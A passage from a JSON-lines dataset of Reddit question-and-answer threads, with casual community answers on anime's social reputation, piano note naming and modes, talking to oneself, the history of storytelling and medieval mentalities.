actually very amusing. For example, I'll be at a business dinner and things will be progressing extremely well and suddenly I'll have the urge to lunge across the table and bite the person's nose off. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/The_Imp_of_the_Perverse"], ["http://en.wikipedia.org/wiki/Intrusive_thoughts"], ["http://youtu.be/PEikGKDVsCc?t=5m11s"], []]}
{"q_id": "488cwu", "title": "how/when did liking anime become associated with sexual deviance and poor social skills?", "selftext": "Is this the reputation it has in Japan as well?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/488cwu/eli5_howwhen_did_liking_anime_become_associated/", "answers": {"a_id": ["d0hpehh", "d0hpz1r", "d0hqi1m", "d0hqks4", "d0hqtgq", "d0i5jg8", "d0i6fs5", "d0i87dr", "d0i9u4e", "d0ijkna", "d0ilr7r"], "score": [6, 111, 12, 7, 44, 5, 2, 18, 2, 2, 2], "text": ["Depends on how old you are. In America and the US, a lot of my university classmates watch at least some anime (same was true in high school). There are hardly any US animation shows that have \"ecchi\" (except for [this scene](_URL_0_)), whereas a lot of anime does have some/a lot.", "Liking anime largely isn't. Obsessing over it is. Weeaboos and otakus can become so engulfed in the fantasy that they alienate themselves. ", "In Japan, the public reputation of anime fans is actually much, much harsher. Cartoons are for little kids, only creepy social pariahs would ever be interested in anime or manga as adults, and they're probably hikikomori* or serial killers. Such is the perception, though of course it is not exactly the reality. It's like what we think of Bronies, but far worse.\n\nWhy does it have a reputation here? Geeks and nerds tend to have poor social skills and exotic interests. It requires a certain level of devotion to absorb oneself in an art form that uses a totally different style and a different language. Best case: crappy dubs or subtitles. Worst case: I hope you want to spend ten years learning Japanese, you poor bastard. It also indicates that your needs are not being fulfilled with more mainstream art and culture, which could be for a lot of reasons, but feeling like an outcast from your own society is up there. Your culture is right there, and Japanese culture is so far away that it's easy to romanticize. (I bet you didn't know that the Japanese still use fax machines, or that their ATMs close! Seriously, having an aging population sucks.) A lot of that changed once anime and manga got (kinda) mainstream appeal. Well not mainstream, but there's a sizable subculture. Also, being a nerd or geek is now more acceptable than it used to be. Coke-bottle glasses are now cool, knowing about tabletop games is cool. Social incompetence will never be cool, but being a dark and brooding loner sure is!\n\n\n*Hikikomori: social outcasts, to an extent not often seen outside of Japan. They're people who, because of some mental condition or stress from the outside world, withdraw entirely. They tend to stay locked not just in their houses but in their rooms because of a crippling fear of real-life social interaction. Part of this is often that they have autism or social anxiety that has been concealed and enabled instead of being treated. They are mostly dependent on family to get by: you can't never leave your house and still get food on the table even in Japan.", "I'm going to assume that you're American and run from there, ok?\n\nWe Americans tend to be pretty prudish, especially when it concerns younger characters. There are certain tropes that frequently appear in anime that Americans can find rather distasteful, such as unnecessary shower scenes/nudity (especially with characters that are or appear to be underage).\n\nFor example, a show about high school students trying to survive a zombie apocalypse. Good for a few episodes, some gory violence, treachery, etc. Surprise, freshman student fully nude having a conversation in the tub, no clever censorship or anything. There are places in America where you can face criminal charges for possessing or viewing that, and you didn't get a warning or expect to see it.\n\nThere's also the ever-present and creepy harem trope. Lots of incest. Incest harems. Underage fan service. Creepy body pillows. I could go on and on, but I hope you get the point that anime is filled with some legitimately creepy and deviant shit. There are good series, but like any medium, they are the minority and the rest is filler. Japan's filler is just more perverted.\n\nIf anime is one of your hobbies and you don't understand this, well, you're probably actually creeping people out irl without knowing it.", "Back in the day, anime wasn't as available as it is now. To get it, you had to actively seek it out. The few that you could watch easily were the ones shown on Toonami, like DBZ, which you might possibly recognize as *a really bad show*. So it's very niche, kind of like science fiction. It's a genre that only a few people really like that takes a lot of effort to get into and which most other people see as low quality. So it's weird. And \"only weird people like weird things.\"\n\nTo be honest, fanatics of pretty much anything other than sports are seen as weird. But with anime, you have to pay attention to a country that isn't the US and a genre that is distinctly not within the American culture. So it is, by a definition, counter culture.\n\nPeople with good social skills know better than to flaunt their \"weird\" hobbies, and generally don't get into weird hobbies in the first place because they get into the things all their friends get into (eg: sports). So the most numerous and most vocal members of this \"we like anime\" group is going to be the social misfits. When people associate liking anime with social misfits, it will further drive people away except for those who don't care about social status - you know, *other social misfits*.\n\nGenerations later and anime is popular and all over the place with SyFy channel doing their \"Animondays\" (are they still doing that?), anime clubs in school, crunchyroll offering free and subscription streaming, torrents for obscure titles, forums to share obscure titles...But we never really got over that \"anime is for weird people\" thing.\n\nOne final thought: anime is often pretty goddamn weird. You're often asked to suspend your disbelief pretty hard to accept to really odd premises. I think that's why the people who like it like it - it's new and innovative. But often at the cost of quality. So a lot of people who are asked to watch it see it as very goofy and hard to follow, which I think is a pretty fair assessment.", "I might get hated and killed for my answer. This is my own personal observation from a bunch of conventions I was on and helped with organizing. \n\nAs mentioned before the word \"weeaboo\", those are poeple who are way too much into the Japanese culture and dislike those who have something against it or their taste. What I saw over the years are people who spent alot (and I mean ALOT xD) of time watching Anime. Now some of them have already a low self steem and search for a place to flee from reality. For certain people Anime is a perfect place to flee to, there might be a character with whom they can idetify with or admire and want to be like them. Soon they start to dress like them and aquire the same habits as their favorite character. (Not talking about Cosplay. Cosplayers have my highest repsect for creating amazing things). I'm talking about those who try to deny who they are in realilty and try to be a fictionary person. On Convention they might meet people who share the same fate. Umongst them they are perfectly fine, but as soon they have to interact with the \"real world\" they have trouble since their \"anime socializing\" skills are not working here. \n\n\nI think the reason for this is the societly. Liking Anime and even cosplaying is a hobby like playing football or modelmaking. They judge us as freaks and no lifers even before they have a conversation with us and learn that we are ordinary people just like them....Wow just realized this post got long. One last thing onto the sexual thingy. On the internet, the news and articles that hit public society are about the extremes and most of the times it includes the henta, fanservice and ecchi parts. So if they only get so see that side of the coin they will only remember this and associate those things with people who like Anime and Manga.  \n\nIt's not meant in any negative way, just my observation of people who had/have these issues. ", "I'd like to say it isn't but everyone I know who is into it largely live upto these stereotypes. It probably has something to do with having a hobby which involves staying at home all the time, and can only be socially discussed with other anime fans. ", "Most animation, Japanese and western was originally (and largely still is) aimed at kids. This gave rise to the [animation age ghetto](_URL_0_). \n\nAdults who obsess over \"kids stuff\" are always seen as weird. E.g. Star Wars/Trek mega-fans, lego collectors, etc.. So, if animation is seen as only appropriate for kids, adults watching it would seem to have poor social skills.\n\nOn top of that, Japanese shows broke out of the animation age ghetto in the 80s (AKIRA is often cited as an early example). Japanese animators started dealing with sexual themes, graphic violence, horror, etc.. To foriegn audiences, expecting any animated shows to be aimed at kids, this looked extremely creepy. Hence the view that anime = sexual deviance. And, of course, the existence of hentai also served to poison the reputation of the whole genre.\n\nNow that more westerns shows have succesfully positioned themselves out of the animation ghetto (simpsons, futurama, etc.), the prejudice isn't as strong. But Japanese aimed-at-adults anime still tends to be more sexually explicit and deals with more esoteric and/or \"nerdy\" themes (sci-fi, internet culture, etc..). ", "a lot of comments that are really long here.\n\nno this isn't the reputation it has in Japan.\n\nsome anime contain [explicit](_URL_1_) and [bizarre](_URL_0_) sexual scenes. cartoons are considered childish and adults who watch them look maladjusted. \n", "Because Weeaboos don't shower.  They deserve all the negative attention they get on this alone.  To any Weeaboos reading this: seriously guys, go take a shower.  Clean yourselves once in a while.  Please.  \n\nAlso, because people who obsess over anime are usually pretty fucking weird.  I like mecha anime and watched a ton of it growing up, because giant robots are pretty cool.  But I also played sports and had (and still have) good social skills.  I also never really met anyone else who was into it, so I never really brought it up with friends.  \n\nI used to work with a girl who was a Weeaboo.  She would always wear anime t-shirts, she never showered, would always try to speak japanese (poorly), and was kind of a jerk to everyone.  Kind of off-putting. ", "People with strong social skills don't pick hobbies to try at random. They are image conscious, sculpting and crafting their public image and carefully selecting what hobbies will enhance that image and create social brand recognition \n\nBecause Anine is not one of the ordinary, cool hobbies like rock climbing, photography, or sports team enthusiasm, people with high social skills will almost never try it. That reinforces the image of it being uncool, and marks you as someone with bad social skills if you like it.\n\nBeing genuine is seen as a lack of ability to be artificial. The question was never whether anime was enjoyable, but whether you were aware of its social standing and skilled enough to either not watch it or at least keep it a secret.\n\nAnd if you think that sounds tremendously shallow, why worry about what people think of it? Fight instead for the right to be nerdy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://youtu.be/U008nGT0eww"], [], [], [], [], [], [], ["http://tvtropes.org/pmwiki/pmwiki.php/Main/AnimationAgeGhetto"], ["https://en.wikipedia.org/wiki/Hentai", "https://www.google.ca/search?q=boku+no+pico&amp;safe=active&amp;gws_rd=cr,ssl&amp;ei=zITUVpiiB8au-AHrvq2IDQ"], [], []]}
{"q_id": "50xk9z", "title": "why is the diatonic order of a piano cdefgab instead of abcdefg? why is it moved two letters forward?", "selftext": "EDIT: I'm reading all the replies, I won't be replying much as I'm only interested in playing the Piano.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/50xk9z/eli5_why_is_the_diatonic_order_of_a_piano_cdefgab/", "answers": {"a_id": ["d77qzx3", "d77rgts", "d77rnzb", "d77rsj3", "d77s72u", "d77sb8m", "d77sjoq", "d77ti4t", "d77ts5l", "d77tuw4", "d77ud8g", "d77vb2c", "d77vsd3", "d77w4d7", "d7810rp", "d7821yx", "d78rs9r"], "score": [192, 5, 385, 8, 33, 5175, 64, 113, 7, 14, 11, 12, 5, 8, 3, 3, 20], "text": ["The notes were named before \"keys\" (major, minor) were invented.  \nI guess you could say it's an accident that the major scale with no accidentals starts on C. ", "Well, A is called A because that's the one that tuning is based on. Standard tuning is A=440 Hz, but others exist (some European orchestras prefer A=432 Hz). As for \"why C major\", I couldn't tell ya man. Although, if we're gonna get technical, ABCDEFG is still diatonic, it's just a minor scale", "So, you're in charge of naming musical notes, several hundred years ago. The first note you name is, well, obviously, \"A\". You then name the next six notes in the scale that starts with your A, so that the scale goes A, B, C, D, E, F, G and then back to A.\n\nBut the key of A doesn't go like that: it goes A, B, C\u266f, D, E, F\u266f, G\u266f.\n\nAh, but that's the key of A *major*. These days, we think of the major scale is being the sort of \"default\" scale; but back a few hundred years, it was the *natural minor* scale that was considered the \"default\". And the natural A minor scale has no sharps or flats.\n\nIn other words, if you sit down at a piano and play A, B, C, D, E, F, G, A, you've just played the scale of A minor.", "So some of the earlier scales (ordering of notes) were the Church Modes. These were basically start at whatever letter you like and go until you reach that letter again restarting at A when you reach G. So both CDEFGABC and ABCDEFGA were scales along with any other letter you choose to start with (DEFGABCD for example). All the modes could be played using only the white notes of a piano today. \n\nAs music evolved music was based off of different scales such as the major and minor scales that are used today. These scales were based of specific \"spacings\" of notes and used notes between letters, so a note between C and D is known as C-sharp (C#) or D-flat (Db) which basically signifies a note a \"half-step\" higher than C, but not quite D or a note a \"half-step\" lower than D, but not quite C. \n\nThe C major scale in particular (CDEFGABC), when following the rules of the spacings for notes was the only major scale with no \"half-notes\" and thus, today, is very easy to teach initially when learning piano or even music theory as they only need the white notes and they don't have to worry about additional rules that came with sharps and flats in music. \n\nI'm not sure why the rules for the spacing of notes to define a scale came around but it's probably just because it sounds nice. ", "This goes back pretty far to chanting, when it was believed that there were 8 modes (ways to go up the scale with the same sharps/flats starting on different notes). Along came a new theorist and he proposed 12 modes, creating Aeolian and Ionian, or minor and major. \n\n(Note: Now there's 6 modes, turns out people didn't give a damn about plagal and authentic modes. For shame.) \n\nWithout sharps or flats, A to A is the Aeolian mode, or ~~major~~ minor scale (thanks /u/fr4ternity). C to C is the corresponding Ionian, or major scale. Glarean, or the magic new theorist from before, noted audaciously that the Ionian was the primary mode used. \n\nOn early instruments the distinction of where the C and A would be isn't particularly relevant but on keyed instruments it began to make sense to make the center pitch the most popular mode of the flat and sharpless scale. \n\nIn all, it's a giant game of telephone dating back to the good 'ol days of Gregorian chants. Something is bound to get wonky. (It's oddly obvious when listening to old chants that our two most popular modes weren't conceived yet. Kinda cool.) ", "Basically, it's because western music fell in love with major keys **after** the notes got named.\n\nWhen they started using letters, they started with 'A' to describe the lowest available note. This is the key bit here, because they didn't design the musical alphabet to match up to any particular scale.  They just said 'huh...we'll call the lowest note I can play an A'.\n\nWhen they invented the piano keyboard they used the white keys for the natural notes  &  black keys for the accidentals. \n\nThen Western music developed a particular love for Major keys, and 'C-D-E-F-G-A-B-C' happened to be the simplest one (read: the only way to construct a major scale using all natural notes).\n\nAnd so here we are.\n\nEDIT: A couple other things some folks are asking:   \n\n**Lowest note of what??**  \nBasically there was a 2-octave system in common use at the time.  They weren't trying to solve all music for all time, just write down what was in common usage.   \n\n**How did they decide what was natural  &  what was accidental??**  \nThis is another of those timing things.  The 12 note system is younger than you think - western music didn't really start agreeing there were 12 notes in an octave til the 16th century.  So we had 7 letters, then we had to decide how we were going to cram 5 more notes in there somewhere...\n\nEdit 2: Thanks for the gold kind stranger!", "**Why are the keys in that order?**\n\nThe piano and the precursors to it come from ~~Europe~~ Italy. ~~Europe~~ Italy used DO or Ut(C) RE(D) MI(E) FA(F) SOL(G) LA(A) SI(B) as the names of the musical notes and are taught in that order. \n\nThere's no \"order\" per se, the reason the mayor scales are played and taught starting with DO is completely subjective.\n\n**Why can't it be changed?**\n\nTake into account that you are looking into a very, very small case of music theory. \n\nFirst the piano, although an extremely important instrument, is just that, an instrument; a tool. Its layout doesn't bother a seasoned musician more than a keyboard layout bothers a programmer. \nThere are hundreds of other instruments that this change wouldn't benefit in the least. (in case you were thinking of changing the name of each note) \n\n\nSecond CDEFGAB is used by the US, UK and selected other countries, the rest of the world (~~Southern~~ Most of Europe, Latin America and Asia) uses DO RE MI FA SOL LA SI. (in case you were thinking of changing the order of the keys). \n\n\nEdit: I don't know why I went all the way to microtonal music, your question was very specific. Maybe I mixed another answer with what you were asking. Sorry. \n\n", "In Italian, Spanish, Turkish and several African countries, the notes are named Do, Re, Mi, Fa, Sol, La, Si. These names came around the year 1000.\n\nThey are the initials of some latin verses, except \"do\", which was \"ut\" originally, but sounded terrible so they renamed it.\n\nSo the notion that the minor scale was THE scale until very recently seems questionable.\n\nMoreover, the frequency that a note is supposed to be was formalized around 1700, see the well tempered clavier.", "That sounds strange to me (no pun intended). I live in Brazil and we never use alphabet to represent notes. Therefore over here the notes don't really have an order.\n\n[Wikipedia:](_URL_0_)\n\nIn traditional music theory, most countries in the world use the naming convention Do-Re-Mi-Fa-Sol-La-Si, including for instance\u00a0Italy,\u00a0Spain, France,\u00a0Romania, most\u00a0Latin American\u00a0countries, Greece,\u00a0Bulgaria,\u00a0Turkey,\u00a0Russia, and all the Arabic-speaking or Persian-speaking countries.\n", "Someone wrote a poem (_URL_0_) in the 7th century that was chanted by some monks. Some years later someone noticed that each verse used the notes of the scale in sequence, so that chant was useful to teach music. So the first syllable of each verse was used to name the musical notes (do, re mi, fa, sol, la si, after a few adjustements).", "Although this doesn't answer your question, it's worth noting that A Minor (ABCDEFG) is the 'relative minor' of C Major (CDEFGAB). Although the have the same notes, they sound different, because everything is perceived as contrasted against the root note.\n\nBecause, psychoacoustics.", "All this talk about note names and solfege syllables and no one mentioned Guido de Arezzo?  Here's a short podcast that I've been producing for a while. _URL_0_ \nThis episode explains the origins of the note names (both letters and syllables), where they come from and why.\n\nShameless plug:  Timeline from VPR Classical explores the development of Western Music in short bite-sized pieces.  Take a listen!", "\"Diatonic\" order begins... wherever you want it to begin. BCDEFGAB is also diatonic. So is Db Eb F Gb Ab Bb C Db.\n\nEdit: Why the downvote?", "Pick a frequency *f*. Now make a list of seven frequencies:\n\n >  *r^(-3)f*, *r^(-2)f*, *r^(-1)f*, *r^(0)f*, *r^(+1)f*, *r^(+2)f*, *r^(+3)f*;\n\nwhere *r* = 3/2 (a perfect fifth in just intonation). Then adjust these frequencies by *a* = 2/1 (an octave) so that all of them fit within an octave around *f*: \n\n >  *r^(-3)a^(+2)f*, *r^(-2)a^(+1)f*, *r^(-1)a^(+1)f*, *r^(0)a^(0)f*, *r^(+1)a^(-1)f*, *r^(+2)a^(-1)f*, *r^(+3)a^(-2)f*\n\nNow, sort them:\n\n >  *r^(+1)a^(-1)f*, *r^(+3)a^(-2)f*, *r^(-2)a^(+1)f*, *r^(0)a^(0)f*, *r^(+2)a^(-1)f*, *r^(-3)a^(+2)f*, *r^(-1)a^(+1)f*\n\nAnd give them slightly better names: ABCDEFG. Congratulations, you now have a [Pythagorean tuning](//_URL_1_) around D. You can use other list sizes or ratios to construct [other scales and tunings](//_URL_2_).\n\nI'm not sure if this is really how we got these names, but it kind of makes sense to me: generate six tones (modulo an octave) around a center, and then name them in order. There's really nothing that makes any order, for instance CDEFGAB, \"the\" diatonic order of a piano, except (/u/AlienBloodMusic [explains](/r/explainlikeimfive/comments/50xk9z/eli5_why_is_the_diatonic_order_of_a_piano_cdefgab/d77sb8m)) for the general convention of Western musicians to call CDEFGAB a \"major\" scale and \"ABCDEFG\" a \"natural minor\" scale because one sounded better/happier than the other ([which is subject to cultural differences](//_URL_0_)).", "The order of notes on a piano does start on A, as that is the lowest note on a traditional 88-key piano. The tl;dr from there is that the notes were organized such that the natural notes are white keys, while the accidentals are black keys. This isn't specific to the piano, as there were numerous keyboard instruments before the invention of the pianoforte (modern piano).", "In countries where they use the Cyrillic alphabet instead of the Phoenician one, they use the Kodaly fixed do solfege.  So C is always \"do\" D is always \"re\"\n\nsource: Worked with a piano teacher who was Russian.", "IN THE BEGINNING... \n\n... which, for Western/European music,  means ancient Greece...\n\nthey recognized seven different musical notes (which repeated in different octaves, of course). They didn't yet call them by letters (which would have been in the Greek alphabet anyway), but those notes corresponded to the ones we call A, B, C, D, E, F, and G.\n\nWhat's important to realize is that those notes are not evenly spaced. That means that you can play the same seven notes in the same order and get seven different scales just by changing which note you start on.  The Greeks called these seven different scales \"modes\", and a given musical composition would be built around one of them. Each mode has different associations, much like the difference between major and minor keys in modern music.\n\nThe seven modes and their names are as follows:\n\nA,B,C,D,E,F,G:  Aeolian    \nB,C,D,E,F,G,A:  Locrian    \nC,D,E,F,G,A,B:  Ionian   \nD,E,F,G,A,B,C:  Dorian   \nE,F,G,A,B,C,D:  Phrygian   \nF,G,A,B,C,D,E:  Lydian   \nG,A,B,C,D,E,F:  Mixolydian   \n\nSo really, you could start anywhere naming the notes A through G without changing anything fundamental; you would just wind up with a different sequence through the same seven modes.  The way the notes happened to get named in our later history means that playing them in alphabetical order gets you Aeolian mode, which is the same as a modern natural minor key.\n\nIn modern Western music we think of the natural major key as the default, which corresponds to the Ionian mode. But that wasn't always the case; the process of Ionian dominance took about a thousand years after the notes got their letter names.\n\nThe reason we now have more notes than just those 7 is that it occurred to someone to try to play some mode starting on one of the *other* modes' start note.  For instance, if you start on B but play the Aeolian intervals, that means that the second note - in the C slot - has to be a higher frequency than C, though still lower than D.  Thus was invented \"C sharp\", written C# (or, well, C\u266f in proper Unicode).  Then D and E could stay as they were (\"natural\"), but the F also had to be sharpened, and then followed by natural G and A. \n\nNow, if you try to play that same Ionian mode starting on F, you have a normal A in the third slot, but then the fourth note still needs to be lower than B.  Can't call it A\u266f, because you already have an A, so it gets a name based on B instead - B flat, written B\u266d."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Musical_note"], ["https://en.wikipedia.org/wiki/Ut_queant_laxis"], [], ["http://www.vpr.net/apps/timeline/guido-de-arezzo-and-the-solfege-system"], [], ["music.stackexchange.com/a/14/12301", "en.wikipedia.org/wiki/Pythagorean_tuning", "commons.wikimedia.org/wiki/File:Rank-2_temperaments_with_the_generator_close_to_a_fifth_and_period_an_octave.jpg"], [], [], []]}
{"q_id": "kmcwc", "title": "Is it a bad sign if you talk to yourself?", "selftext": "I was wondering if it is a bad sign if you talk aloud when no one is around. I often make quick utterances, like \"where the fuck are my keys?\", or \"I got ten minutes to be out of here.\" Usually happens when I am anxious or feeling strong emotions. Rarely this behavior will occur in public situations. But I will say it under my breath so no one will hear me. I guess I feel like saying something aloud, even at a whisper, is more powerful than just thinking it in my head.\n\nI have never heard voices or believed I was actually talking to anyone real. But I have heard from some people that talking to yourself is something only crazy people do. Is this something I should try to stop or a sign of something else? What's the science?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kmcwc/is_it_a_bad_sign_if_you_talk_to_yourself/", "answers": {"a_id": ["c2lf9ll", "c2lfak2", "c2lftcl", "c2lg8dw", "c2lgezp", "c2liad8", "c2lirtw", "c2lf9ll", "c2lfak2", "c2lftcl", "c2lg8dw", "c2lgezp", "c2liad8", "c2lirtw"], "score": [9, 6, 5, 2, 3, 3, 3, 9, 6, 5, 2, 3, 3, 3], "text": ["_URL_0_\n\nDon't voluntarily commit yourself just yet. :)", "I sure the fuck hope not", "As long as you don't get into an argument about who lost the Fucking Keys", "Sometimes I'm just the only one I can have an intelligent conversation with...", "our programmers constantly talk to themselves ;), hell they even argue like mad (with the compiler, i presume).", "I've always made small utterances to myself, for as long as I can remember. About 2 years ago, I started living entirely alone - no roommates, just me and my cat. I've now found that I affect an accent (usually british, but sometimes scottish if I'm feeling particularly angry at my computer or something). It's to the point that I actually feel self-conscious if I talk aloud when I'm alone in my normal (standard west-coast-american) accent. I have no problem carrying on full conversations with myself in various accents - i.e. asking a question with a british accent, answering in an irish accent.\n\nThis doesn't concern me in any psychiatric sense, but at least you can take comfort in feeling a bit more normal now after having read this.", "Personally I find my thoughts quite numerous and jumbled. It's much easier to follow a particular train of thought if I \"discuss\" it with myself aloud.", "_URL_0_\n\nDon't voluntarily commit yourself just yet. :)", "I sure the fuck hope not", "As long as you don't get into an argument about who lost the Fucking Keys", "Sometimes I'm just the only one I can have an intelligent conversation with...", "our programmers constantly talk to themselves ;), hell they even argue like mad (with the compiler, i presume).", "I've always made small utterances to myself, for as long as I can remember. About 2 years ago, I started living entirely alone - no roommates, just me and my cat. I've now found that I affect an accent (usually british, but sometimes scottish if I'm feeling particularly angry at my computer or something). It's to the point that I actually feel self-conscious if I talk aloud when I'm alone in my normal (standard west-coast-american) accent. I have no problem carrying on full conversations with myself in various accents - i.e. asking a question with a british accent, answering in an irish accent.\n\nThis doesn't concern me in any psychiatric sense, but at least you can take comfort in feeling a bit more normal now after having read this.", "Personally I find my thoughts quite numerous and jumbled. It's much easier to follow a particular train of thought if I \"discuss\" it with myself aloud."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Intrapersonal_communication"], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Intrapersonal_communication"], [], [], [], [], [], []]}
{"q_id": "6cmp4i", "title": "The history of storytelling", "selftext": "Dear AskHistorians, \n\nI'm not sure this is the right place to ask, but here's to hoping. \n\nI'm very interested in the history of storytelling.\n\nI've read some history, and I can sort of piece some stuff together. If we look at when humans began abstract thought, and began creating gods and stuff like that, is to me, the very beginning. \n\nBut I'm no scholar, I've just read a bunch of different stuff, but I'd really love some sort of analysis of storytelling throughout history, or something like that. Pretty much just looking to learn about how we tell stories. \n\nNot sure if anyone can help, but suggestions are welcome! Thanks! ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6cmp4i/the_history_of_storytelling/", "answers": {"a_id": ["dhvs675", "dhvsgl6"], "score": [9, 2], "text": ["John Niles in his book, [Homo Narrans: The Poetics and Anthropology of Oral Literature](_URL_0_) gives voice to an emerging idea, namely that storytelling may be the single most important defining aspect of humanity. Regardless of where one places the craft of telling stories on the scale of humanity, it is clearly central to what the human experience is all about - and it apparently has been for a long time.\n\nFolklore studies have applied some focus on the art of storytelling and its importance to people and their culture. These tend to be observations from more recent times - dating to professional collecting in pre-industrial people during the period of transition in the nineteenth century. That said, conclusions reached provide a means to gain insight into how storytelling likely manifested in previous times. Attempting to dig back to that primordial time \"at the very beginning\" when people \"began abstract thought and began creating gods and stuff like that\" - as you say - is not possible with written documents. It can only be imagined in abstract if not rather fanciful terms. If people like Niles are right, that storytelling is at the core of our humanity, we can imagine that the point when the practice emerged reached back hundreds of thousands of years, and one can only guess - without written records or archaeological evidence - how that process unfolded.\n\nFollowing a brief excerpt from a book manuscript of mine that is currently under review. This is from a chapter dealing with historical forms of storytelling as perceived by folklorists; I offer it as a means to understand the sort of things that have been studied, in this case specific to Ireland where some of the best research has occurred:\n\n > Many societies also feature specialists who rise above the majority of active bearers of tradition. These skilled raconteurs graduate to the next level by becoming acclaimed and sometimes professional storytellers. James Delargy (S\u00e9amus \u00d3 Duilearga; 1899-1980), the long-standing director of the Irish Folklore Commission, presented a classic study in 1945, addressing the nature of the seanchaithe, the storytellers of Ireland. His essay went a long way toward documenting the expert keepers of tradition who roamed the countryside, telling stories in exchange for room and board. Delargy was so eloquent and pathfinding in the field, that folklorists regard his work as the definitive early discussion about those who conveyed popular stories from one generation to the next.\n\n > A subsequent encyclopaedic study by Georges Denis Zimmermann is a twenty-first-century benchmark analysis of the Irish storyteller. Zimmermann draws on evidence from early material as well as from the later period of classic folklore collection in the nineteenth and early twentieth centuries. With this information, he is able to construct an elaborate portrait of those who told the stories. The insights of Delargy stand, but Zimmermann adds a comprehensive review of sources.\n\n > Delargy praised the conservatism of the Irish storyteller, suggesting that the craft, 'attained a very high degree of perfection in medieval times to judge from the detritus of the epic literature of the manuscript tradition which has come down to us from the eighth century. But the written saga is but a pale ghost of the tale that once was told, and the personality and polished artistry of the medieval story-teller can only be guessed at by the student of the written word who has not had the privilege of hearing the living voice of the modern reciter of Irish wonder-tales, the democratic descendant of the aristocratic story-teller of a thousand years ago.'He further suggested that there was \u2018remarkable continuity of tradition linking the living oral literature of the Gaelic West\u2026 with that of the manuscript tradition in an unbroken chain of over 1,200 years.\u2019\n\n\n\n\n", "r/AskAnthropology might be a good place to ask this as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.upenn.edu/pennpress/book/13339.html"], []]}
{"q_id": "4dtbj8", "title": "Was there really a \"medieval mind\"? Did medievals merely hold different beliefs and values from moderns, or did they really \"think different\" in a way that's difficult for moderns to understand?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4dtbj8/was_there_really_a_medieval_mind_did_medievals/", "answers": {"a_id": ["d1ur4qo"], "score": [117], "text": ["Why are the European Middle Ages interesting?\n\nYou can frame this question many ways. Why give space to old Europe in American curricula, when thriving medieval civilizations are right outside our windows? Why bother with the problems of 1000 years ago when the problems of 100, 10, and 1 year ago explode into violence daily? Why watch Game of Thrones instead of Game of Elected Parliamentary Seats?\n\nThis is the driving question of the field of medieval studies, whether it's articulated as the justification for inclusion in school requirements or unarticulated as the compulsion to survive eight years of grad school on poverty burritos and hors d'oeuvres plundered from receptions. And in the modern history of medieval studies, going back to the 19th century, there are two basic answers: (1) the Middle Ages planted (for the classicists, I'll thrown in \"or watered\") the roots of the modern world (2) the Middle Ages are trippy, weird, and exotic.\n\nSince its original definition as an era by scholars who wished to see themselves as \"the Renaissance\", the *medium aevum* has been mirror in which the 'modern' West has defined itself. Renaissance humanists painted their claimed revival of classical antiquity next to the Middle Ages' barbaric Latin and dialectic instead of rhetoric. Reformation polemicists denounced the paganism and corruption of the age ruled by the Church. Enlightenment philosophers proclaimed their Age of Reason above the mire of medieval superstition.\n\nRevolutionary America was a little different. Already \"the other\" compared to Europe, young America saw a potential partner and justification in the Middle Ages. Well, what it (mis)understood about the Middle Ages. Myths about the grand age of pre-Norman, Anglo-Saxon democracy pop up in the writings of Founding Fathers like Jefferson. This development introduced the grand paradox of the Middle Ages: the embrace of its implied otherness as identity results in a flattening of that otherness.\n\nThe 19th century heightened this paradox. The newly rigorous, source-based scholarship in Europe developed in conjunction with rising nationalist sentiment. The Middle Ages became the fodder for the origins of *national* identity. In Europe, that meant a need to see both the 'modern' aspects *and* to draw on the power of the romantic, the emotional. In America, where the European medieval past was not as immediately obvious, Victorian-era scholars (re)defining America in the age of industrialization turned even *harder* to the romantic and weird side of the Middle Ages: \"the most foreign of worlds to the American soul,\" as Henry Adams put it.\n\nThe trauma of World War I as the first major crisis of \"modernity\" combined with a push by American scholars to achieve equal intellectuals status with European academia was probably the first major paradigm shift. Charles Homer Haskins was a dean and professor at Harvard, an actively researching medievalist--and one of Woodrow Wilson's aides at the post-WWI peace conferences. He was one of the first to see--and articulate--the need to *justify* the study of the Middle Ages. \n\nHe found it above all in the narrative of the birth of the modern state. English constitutional and legal history, to Haskins, *was* American history. It was Haskins' student Joseph Strayer who would become more famous for pushing the proto-modernity of the medieval state (...he titled one book *On the Medieval Origins of the Modern State*); Haskins is better known for building on previous hints to explode the notion of the *intellectual* Dark Ages and the birth of the modern world in the renaissance of the *sixteenth* century. The need was still for the Middle Ages to define the present, as John Manly articulated in 1930:\n\n >  The infinitely fascinating period we call the Middle Ages...lies close to *us*. In it arose our most important institutions. *Our* social customs, *our* ideals, *our* superstitions and fears and hopes, came to us *directly from this period*\n\nHe spoke as representative of the Medieval Academy of America, a scholarly group founded to grapple with the \"obscure and complex nature of medieval civilization.\" Again the paradox: are the Middle Ages the modern world, or are they fundamentally foreign? Even with the driving need to see a *likeness* in the medieval mirror, the early 20th century couldn't shake the vague feelings of distortion.\n\nThe use of medieval *institutional* history--states, universities--as the mirror of modernity kind of dissolved after World War II into the use of medieval *human* history for the same end. This is to say, a focus on mentalities and thoughts. Haskins had focused on the revival of classical Latin learning, on literature, on philosophy back in the 1920s. In the 1950s, R.W. Southern dug sideways to talk in terms of rationality, introspection, and optimism in the 12th century and beyond. (As my early medievalist colleagues will jump to point out, the reception of Southern's work resulted in the creation of the \"early Middle Ages\" as the distant barbaric past, in constrast to the proto-modern High Middle Ages.) \n\nSouthern pointed in particular to the difference between the 'fiction' literature of the early versus high Middle Ages--think Beowulf versus Arthur. We recognize in the adventurous romances our stories--emotion, relationships, paths to choose, *characters*. The epics of old are almost predestined paths of duty and honor tread by personages with names. From here, it was only a small step to the grand claim that the Middle Ages \"discovered the individual.\" This line of scholarship *explicitly* saw the medieval as the prescient modern, however different. And 